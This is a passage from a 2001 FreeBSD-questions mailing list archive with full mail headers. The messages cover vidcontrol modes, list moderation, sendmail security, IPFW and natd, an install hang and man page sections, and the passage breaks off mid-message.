Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG +---- Anthony Atkielski wrote: | > Careful reading of _man vidcontrol_ would have shown | > you all this and more. | | No, careful reading of the man page provided no information on what field to | enter for the mode (based on the list of available modes), and does not explain | the error message that I received above. If it did, I wouldn't have to ask the | question here. On the first page: DESCRIPTION The vidcontrol command is used to set various options for the syscons(4) console driver, such as video mode, colors, cursor shape, screen output map, font and screen saver timeout. The following command line options are supported: mode Select a new video mode. The modes currently recognized are: 80x25, 80x30, 80x43, 80x50, 80x60, 132x25, 132x30, 132x43, 132x50, 132x60, VGA_40x25, VGA_80x25, VGA_80x30, VGA_80x50, VGA_80x60, VGA_90x25, VGA_90x30, VGA_90x43, VGA_90x50, VGA_90x60, EGA_80x25, EGA_80x43, VESA_132x25, VESA_132x43, VESA_132x50, VESA_132x60. The raster text mode VESA_800x600 can also be cho- sen. See Video Mode Support below. -- Steve Tremblett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 6:49:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mcqueen.wolfsburg.de (pns.wobline.de [212.68.68.5]) by hub.freebsd.org (Postfix) with ESMTP id E25F037B417 for ; Wed, 21 Nov 2001 06:49:39 -0800 (PST) Received: from colt.ncptiddische.net (ppp-225.wobline.de [212.68.69.236]) by mcqueen.wolfsburg.de (8.11.3/8.11.3/tw-20010821) with ESMTP id fALEnXN17364; Wed, 21 Nov 2001 15:49:34 +0100 Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by colt.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fALEoIt25555; Wed, 21 Nov 2001 15:50:18 +0100 (CET) (envelope-from nils@tisys.org) Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by jodie.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fALEnlq04200; Wed, 21 Nov 2001 15:50:23 +0100 (CET) (envelope-from nils@tisys.org) Date: Wed, 21 Nov 2001 15:49:47 +0100 (CET) From: Nils Holland To: absinthe@pobox.com Cc: Cliff Sarginson , questions Subject: Re: List changes (was: home pc use) In-Reply-To: <20011121142753.25140.qmail@web10401.mail.yahoo.com> Message-ID: <20011121154312.V4192-100000@jodie.ncptiddische.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 21 Nov 2001, Dylan Carlson wrote: > Agree. We really need a "freebsd-discussion" list to move these threads to. > They're valid discussions, however, the purpose of this list is to answer > people's questions (unless I misunderstood the charter). > > The questions list should be moderated. There's way too much noise. As much as > I would love to help people, this list is impossible to sort the real questions > from the countless opinions and rhetoric. I'm very close to unsubscribing. Making this list moderated is one method (which I don't like too much, however). The other method is each individual's right to use mail filters - I for example didn't get to see more than three messages of this thread, because I simply decided to automatically redirect all others into the bit bucket. I just read your message (you changed the subject, that broke my filter), and, well, I think all in all the list is fine. Every now and then something that doesn't really belong here turns up, but I can live well with that. Actually, I wouldn't say that the topic I'm writing about right now is something that belongs on this list either, and therefore, after having said what I think this once, I will remain silent on this and focus on more valid threads instead. If everybody else would do the same, we'd push the signal-to-noise ration down quite a bit without much effort. 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To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 6:59:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 55D4337B405 for ; Wed, 21 Nov 2001 06:59:15 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fALExEP14098; Wed, 21 Nov 2001 15:59:14 +0100 (CET) Message-ID: <004101c1729d$15d4bce0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "FreeBSD Questions" Subject: Sendmail security and defaults on 4.3 RELEASE Date: Wed, 21 Nov 2001 15:59:04 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG How secure is the default configuration of sendmail on an installation of FreeBSD 4.3 RELEASE? I want to open the smtp port and try some stuff mailing back and forth, possibly on a semi-production basis. Are there any risks I need to worry about with the default configuration of sendmail? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 6:59:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ns1.rwwa.com (ns1.rwwa.com [66.92.67.110]) by hub.freebsd.org (Postfix) with ESMTP id 8A37F37B405 for ; Wed, 21 Nov 2001 06:59:23 -0800 (PST) Received: from rwwa.com (harvey.rwwa.com [192.124.97.11]) by ns1.rwwa.com (Postfix) with ESMTP id 189AD3211 for ; Wed, 21 Nov 2001 09:59:22 -0500 (EST) X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: freebsd-questions@freebsd.org Subject: Wanted FreeBSD--Contivity HowTo Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 21 Nov 2001 09:59:25 -0500 From: Robert Withrow Message-Id: <20011121145922.189AD3211@ns1.rwwa.com> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm looking for tips from anyone who has managed to get recent versions of FreeBSD to interop with recent versions of Nortel's Contivity box to set up an IPSEC VPN. Besides the basic stuff, I'm also interested in: - Deducing the necessary routing information for "split tunneling", - Dealing with DNS so that "internal" names can be resolved in both the local and remote domains. --------------------------------------------------------------------- Robert Withrow, R.W. Withrow Associates, Swampscott MA, witr@rwwa.COM To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 7: 7:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lv.raad.tartu.ee (lv.raad.tartu.ee [194.126.106.110]) by hub.freebsd.org (Postfix) with ESMTP id BB66637B405 for ; Wed, 21 Nov 2001 07:07:07 -0800 (PST) Received: Message by Barricade lv.raad.tartu.ee with ESMTP id fALF6n614360; Wed, 21 Nov 2001 17:06:49 +0200 Message-Id: <200111211506.fALF6n614360@lv.raad.tartu.ee> Received: from SpoolDir by INFO (Mercury 1.48); 21 Nov 01 17:06:07 +0200 From: "Toomas Aas" Organization: Tartu City Government To: "Mike Meyer" , "Anthony Atkielski" Date: Wed, 21 Nov 2001 17:05:56 +0200 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: home pc use Cc: In-reply-to: <005001c17288$c17d0800$0a00000a@atkielski.com> X-info: Headers changed by Barricade Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Anthony! On 21 Nov 01 at 13:33 you wrote: > The fact is, with all but the most trivial freeware, you need > competent in-house support if you plan to use it for any critical > applications. IMHO exactly the same applies for commercial software. Your average secretary is no more able to get help from commercial provider's support options than from (for example) this mailing list. -- Toomas Aas | toomas.aas@raad.tartu.ee | http://www.raad.tartu.ee/~toomas/ * I tried to drown my problems but found out they can swim. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 7: 8:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from axl.seasidesoftware.co.za (axl.seasidesoftware.co.za [196.31.7.201]) by hub.freebsd.org (Postfix) with ESMTP id 9495237B417 for ; Wed, 21 Nov 2001 07:08:28 -0800 (PST) Received: from sheldonh (helo=axl.seasidesoftware.co.za) by axl.seasidesoftware.co.za with local-esmtp (Exim 3.33 #1) id 166Z0X-00095b-00 for freebsd-questions@FreeBSD.org; Wed, 21 Nov 2001 17:09:49 +0200 From: Sheldon Hearn To: freebsd-questions@FreeBSD.org Subject: Diagrams on natd? Date: Wed, 21 Nov 2001 17:09:49 +0200 Message-ID: <34942.1006355389@axl.seasidesoftware.co.za> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi folks, Are there any slides offering diagrams that explain how natd fits in with IPFW? Something like BSDCon slides, perhaps? :-) I keep thinking this would all be easier to manage if I could just see a picture showing how packets move through the IPFW+natd system. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 7:14:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from noname.csdl.lt (noname.csdl.lt [194.176.40.182]) by hub.freebsd.org (Postfix) with SMTP id A977E37B405 for ; Wed, 21 Nov 2001 07:14:20 -0800 (PST) Received: (qmail 96853 invoked by uid 1000); 21 Nov 2001 15:14:18 -0000 Date: Wed, 21 Nov 2001 17:14:18 +0200 From: Paulius Bulotas To: freebsd-questions@freebsd.org Subject: sshd and HAVE_LOGIN_CAP Message-ID: <20011121151418.GA96676@noname> Mail-Followup-To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, what for these capabilities are used and what will I lose disabling them? (I want to compile with sftp chroot patch, which is used only without those CAPabilities ;) TIA Paulius To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 7:14:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from empty1.ekahuna.com (empty1.ekahuna.com [198.144.200.196]) by hub.freebsd.org (Postfix) with ESMTP id 07F9A37B417 for ; Wed, 21 Nov 2001 07:14:45 -0800 (PST) Received: from pc-02 (pc02.ekahuna.com [198.144.200.197]) by empty1.ekahuna.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Wed, 21 Nov 2001 07:14:45 -0800 From: "Philip J. Koenig" Organization: The Electric Kahuna Organization To: questions@FreeBSD.ORG Date: Wed, 21 Nov 2001 07:14:44 -0800 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: 4.4-Release install hangs Reply-To: pjklist@ekahuna.com Message-ID: <3BFB5464.19387.102FDAB@localhost> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have a system here I'm trying to install 4.4-Release on, and it keeps hanging during the initial boot at the same place - right after it probes the serial/parallel ports. Can someone tell me what piece of hardware is likely the problem here? Must be something it's probing? This is an ASUS P2-L97 (440 LX chipset) board with embedded Adaptec SCSI. (Booting from an ATAPI CDROM) Thanks, Phil -- Philip J. Koenig pjklist@ekahuna.com Electric Kahuna Systems -- Computers & Communications for the New Millenium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 7:18:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail2.resfeber.se (Resfeber-gw.customer.internet5.net [195.66.48.230]) by hub.freebsd.org (Postfix) with ESMTP id B38A337B405 for ; Wed, 21 Nov 2001 07:18:19 -0800 (PST) Received: from resfeber.se ([212.75.72.9]) by mail2.resfeber.se (8.9.3/8.9.3) with ESMTP id SAA21959; Wed, 21 Nov 2001 18:18:43 +0100 Message-ID: <3BFBC4F6.D8719B8E@resfeber.se> Date: Wed, 21 Nov 2001 16:15:02 +0100 From: Jon Molin X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: Sendmail security and defaults on 4.3 RELEASE References: <004101c1729d$15d4bce0$0a00000a@atkielski.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG http://www.sendmail.org/ has a mailinglist you can flood Anthony Atkielski wrote: > > How secure is the default configuration of sendmail on an installation of > FreeBSD 4.3 RELEASE? I want to open the smtp port and try some stuff mailing > back and forth, possibly on a semi-production basis. Are there any risks I need > to worry about with the default configuration of sendmail? > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 7:20: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 146EF37B417 for ; Wed, 21 Nov 2001 07:20:02 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fALFJew16980; Wed, 21 Nov 2001 16:19:40 +0100 (CET) Message-ID: <005201c1729f$f0df5820$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Jon Molin" Cc: "FreeBSD Questions" References: <004101c1729d$15d4bce0$0a00000a@atkielski.com> <3BFBC4F6.D8719B8E@resfeber.se> Subject: Re: Sendmail security and defaults on 4.3 RELEASE Date: Wed, 21 Nov 2001 16:19:34 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thanks for your help. ----- Original Message ----- From: "Jon Molin" To: "Anthony Atkielski" Cc: "FreeBSD Questions" Sent: Wednesday, November 21, 2001 16:15 Subject: Re: Sendmail security and defaults on 4.3 RELEASE > http://www.sendmail.org/ > > has a mailinglist you can flood > > > Anthony Atkielski wrote: > > > > How secure is the default configuration of sendmail on an installation of > > FreeBSD 4.3 RELEASE? I want to open the smtp port and try some stuff mailing > > back and forth, possibly on a semi-production basis. Are there any risks I need > > to worry about with the default configuration of sendmail? > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 7:21:51 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (Postfix) with ESMTP id 96AC637B421 for ; Wed, 21 Nov 2001 07:21:42 -0800 (PST) Received: (from dan@localhost) by dan.emsphone.com (8.11.6/8.11.6) id fALFLeW47679; Wed, 21 Nov 2001 09:21:40 -0600 (CST) (envelope-from dan) Date: Wed, 21 Nov 2001 09:21:39 -0600 From: Dan Nelson To: Sheldon Hearn Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Specififying IPFW unpriveleged port ranges with a mask Message-ID: <20011121152139.GB48921@dan.emsphone.com> References: <20011120213335.GA44741@dan.emsphone.com> <31572.1006340446@axl.seasidesoftware.co.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <31572.1006340446@axl.seasidesoftware.co.za> User-Agent: Mutt/1.3.23.2i X-OS: FreeBSD 5.0-CURRENT X-message-flag: Outlook Error Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In the last episode (Nov 21), Sheldon Hearn said: > > > On Tue, 20 Nov 2001 15:33:35 CST, Dan Nelson wrote: > > > To store a port range or port:mask, ipfw uses 2 entries in the ports > > array to store lo+hi, or port+mask, and sets a bit in the rule's > > 'flags' field saying "first 2 ports are a range / mask". > > Oookay. So using a mask isn't going to be more efficient? It's more efficient by a single if(), since it comes first in /sys/netinet/ip_fw.c:port_match(), but that's it :) -- Dan Nelson dnelson@allantgroup.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 7:23:48 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id A387937B418 for ; Wed, 21 Nov 2001 07:23:42 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fALFNcn17643; Wed, 21 Nov 2001 16:23:38 +0100 (CET) Message-ID: <005d01c172a0$7e9b5f10$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Toomas Aas" , "Mike Meyer" Cc: References: <200111211506.fALF6n614360@lv.raad.tartu.ee> Subject: Re: home pc use Date: Wed, 21 Nov 2001 16:23:32 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Toomas writes: > IMHO exactly the same applies for commercial > software. Your average secretary is no more able > to get help from commercial provider's support > options than from (for example) this mailing list. But a secretary can usually find someone around who knows enough to help her/him. Additionally, if a single secretary encounters a problem, that is far less urgent for the company than having a mission-critical server down. Similarly, you can easily afford to use freeware for _non-critical_ servers, and it's a very economical way to go. If you have a Web server that can afford to be down for two or three hours once in a blue moon while you look into a bug, then FreeBSD is a better bet than a commercial product. It's not that FreeBSD is any less reliable--on the contrary, it might be very reliable indeed--it's just a question of what happens when and if the system _does_ go down (and almost all systems do, sooner or later). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 7:30: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from florida-wireless.com (mailserver.florida-wireless.com [208.62.145.34]) by hub.freebsd.org (Postfix) with ESMTP id DAD5337B417 for ; Wed, 21 Nov 2001 07:30:00 -0800 (PST) Date: Wed, 21 Nov 2001 10:32:25 -0500 Message-Id: <200111211032.AA1632108746@florida-wireless.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: "brain_damaged" Reply-To: To: Subject: man page question X-Mailer: Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hello, what does the (2) or (7) mean or refer to ? SEE ALSO link(2), lstat(2), readlink(2), stat(2), symlink(2), symlink(7) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 7:35:37 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.mango-bay.com (mail.mango-bay.com [208.206.15.12]) by hub.freebsd.org (Postfix) with ESMTP id DECC037B41C for ; Wed, 21 Nov 2001 07:35:25 -0800 (PST) Received: from barbish ([63.70.155.29]) by mail.mango-bay.com (Post.Office MTA v3.5.3 release 223 ID# 0-52377U2500L250S0V35) with SMTP id com; Wed, 21 Nov 2001 10:36:09 -0500 From: "Joe & Fhe Barbish" To: Cc: "FBSD Questions" Subject: RE: 4.4-Release install hangs Date: Wed, 21 Nov 2001 10:35:16 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <3BFB5464.19387.102FDAB@localhost> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Phil you need to post more info about the error. Do this. When the FBSD boot process starts it will stop and issue message to hit enter to continue or any other key for command prompt. Hit space bare to go into command line. On command line enter command boot -v the -v option will generate verbose messages (IE long winded messages about boot process). When system hangs hit keyboard scroll lock key to freeze buffer and them use up arrow to scroll boot messages on screen looking for message that may give you a pointer as to what is the problem. Post that boot log here so people have something to look at to help you. -----Original Message----- From: owner-freebsd-questions@FreeBSD.ORG [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Philip J. Koenig Sent: Wednesday, November 21, 2001 10:15 AM To: questions@FreeBSD.ORG Subject: 4.4-Release install hangs I have a system here I'm trying to install 4.4-Release on, and it keeps hanging during the initial boot at the same place - right after it probes the serial/parallel ports. Can someone tell me what piece of hardware is likely the problem here? Must be something it's probing? This is an ASUS P2-L97 (440 LX chipset) board with embedded Adaptec SCSI. (Booting from an ATAPI CDROM) Thanks, Phil -- Philip J. Koenig pjklist@ekahuna.com Electric Kahuna Systems -- Computers & Communications for the New Millenium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 7:40:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 91D6037B405 for ; Wed, 21 Nov 2001 07:40:37 -0800 (PST) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.6/8.11.2) id fALFe2631425; Wed, 21 Nov 2001 17:40:02 +0200 (EET) (envelope-from ru) Date: Wed, 21 Nov 2001 17:40:02 +0200 From: Ruslan Ermilov To: brain_damaged Cc: freebsd-questions@FreeBSD.ORG Subject: Re: man page question Message-ID: <20011121174002.C13277@sunbay.com> References: <200111211032.AA1632108746@florida-wireless.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200111211032.AA1632108746@florida-wireless.com> User-Agent: Mutt/1.3.23i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 10:32:25AM -0500, brain_damaged wrote: > hello, > what does the (2) or (7) mean or refer to ? > > SEE ALSO > link(2), lstat(2), readlink(2), stat(2), symlink(2), symlink(7) > These are the section numbers. ``whatis intro'' gives a full list. Cheers, -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 7:47:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from cisco.com (sword.cisco.com [161.44.208.100]) by hub.freebsd.org (Postfix) with ESMTP id DCE8C37B417; Wed, 21 Nov 2001 07:47:51 -0800 (PST) Received: from sjt-u10.cisco.com (sjt-u10.cisco.com [10.85.30.63]) by cisco.com (8.8.5-Cisco.1/8.8.8) with ESMTP id KAA12944; Wed, 21 Nov 2001 10:47:47 -0500 (EST) Received: (sjt@localhost) by sjt-u10.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) id KAA21157; Wed, 21 Nov 2001 10:47:46 -0500 (EST) Date: Wed, 21 Nov 2001 10:47:46 -0500 From: Steve Tremblett To: Ruslan Ermilov Cc: brain_damaged , freebsd-questions@FreeBSD.ORG Subject: Re: man page question Message-ID: <20011121104746.F20775@sjt-u10.cisco.com> References: <200111211032.AA1632108746@florida-wireless.com> <20011121174002.C13277@sunbay.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011121174002.C13277@sunbay.com>; from ru@FreeBSD.ORG on Wed, Nov 21, 2001 at 05:40:02PM +0200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG +---- Ruslan Ermilov wrote: | On Wed, Nov 21, 2001 at 10:32:25AM -0500, brain_damaged wrote: | > hello, | > what does the (2) or (7) mean or refer to ? | > | > SEE ALSO | > link(2), lstat(2), readlink(2), stat(2), symlink(2), symlink(7) | > | These are the section numbers. ``whatis intro'' gives a full list. FYI - you can read pages in a section with: man [section] [keyword] You'll notice that the whatis command gave you a list of manpages - to look at manpages in different sections with the same title (like those intro pages), you would use: man 4 intro man 3 intro etc. -- Steve Tremblett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 7:49: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail2.resfeber.se (Resfeber-gw.customer.internet5.net [195.66.48.230]) by hub.freebsd.org (Postfix) with ESMTP id B38B437B416 for ; Wed, 21 Nov 2001 07:49:00 -0800 (PST) Received: from resfeber.se ([212.75.72.9]) by mail2.resfeber.se (8.9.3/8.9.3) with ESMTP id SAA22702; Wed, 21 Nov 2001 18:49:11 +0100 Message-ID: <3BFBCC1B.485ED1DD@resfeber.se> Date: Wed, 21 Nov 2001 16:45:31 +0100 From: Jon Molin X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: brain_damaged@florida-wireless.com Cc: freebsd-questions@FreeBSD.ORG Subject: Re: man page question References: <200111211032.AA1632108746@florida-wireless.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG it's the section, i think this is the general form: 1 - Commands 2 - System services and error numbers 3 - User-level library functions 4 - Device drivers, protocols, and network interfaces 5 - File formats used or read by various programs 6 - Games and demos 7 - Miscellaneous useful information pages 8 - System maintenance and operation commands you call them with 'man 2 symlink' and 'man 7 symlink' /Jon brain_damaged wrote: > > hello, > what does the (2) or (7) mean or refer to ? > > SEE ALSO > link(2), lstat(2), readlink(2), stat(2), symlink(2), symlink(7) > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 7:52:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from empty1.ekahuna.com (empty1.ekahuna.com [198.144.200.196]) by hub.freebsd.org (Postfix) with ESMTP id 75E9B37B405 for ; Wed, 21 Nov 2001 07:52:10 -0800 (PST) Received: from pc-02 (pc02.ekahuna.com [198.144.200.197]) by empty1.ekahuna.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com; Wed, 21 Nov 2001 07:52:10 -0800 From: "Philip J. Koenig" Organization: The Electric Kahuna Organization To: "Joe & Fhe Barbish" Date: Wed, 21 Nov 2001 07:52:09 -0800 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: RE: 4.4-Release install hangs Reply-To: pjklist@ekahuna.com Cc: questions@FreeBSD.ORG Message-ID: <3BFB5D29.30517.125426D@localhost> In-reply-to: References: <3BFB5464.19387.102FDAB@localhost> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thanks for the snappy reply. I tried scroll-lock earlier, doesn't have any effect. The last line on the screen (the one I presume it is hanging on) doing a verbose boot is: > isa_probe_children: probing PnP devices There are no ISA cards installed. The rest of the messages that are visible look OK. When given the opportunity to configure the kernel (before it tries probing hardware and hangs) I remove all of the unused kernel drivers, with the exception of the "pc card controller", which I tried both leaving and removing. (I assume that refers to what we used to call the "PCMCIA controller") I have the parallel port disabled in the BIOS (no need for it), I wonder if that throws the install 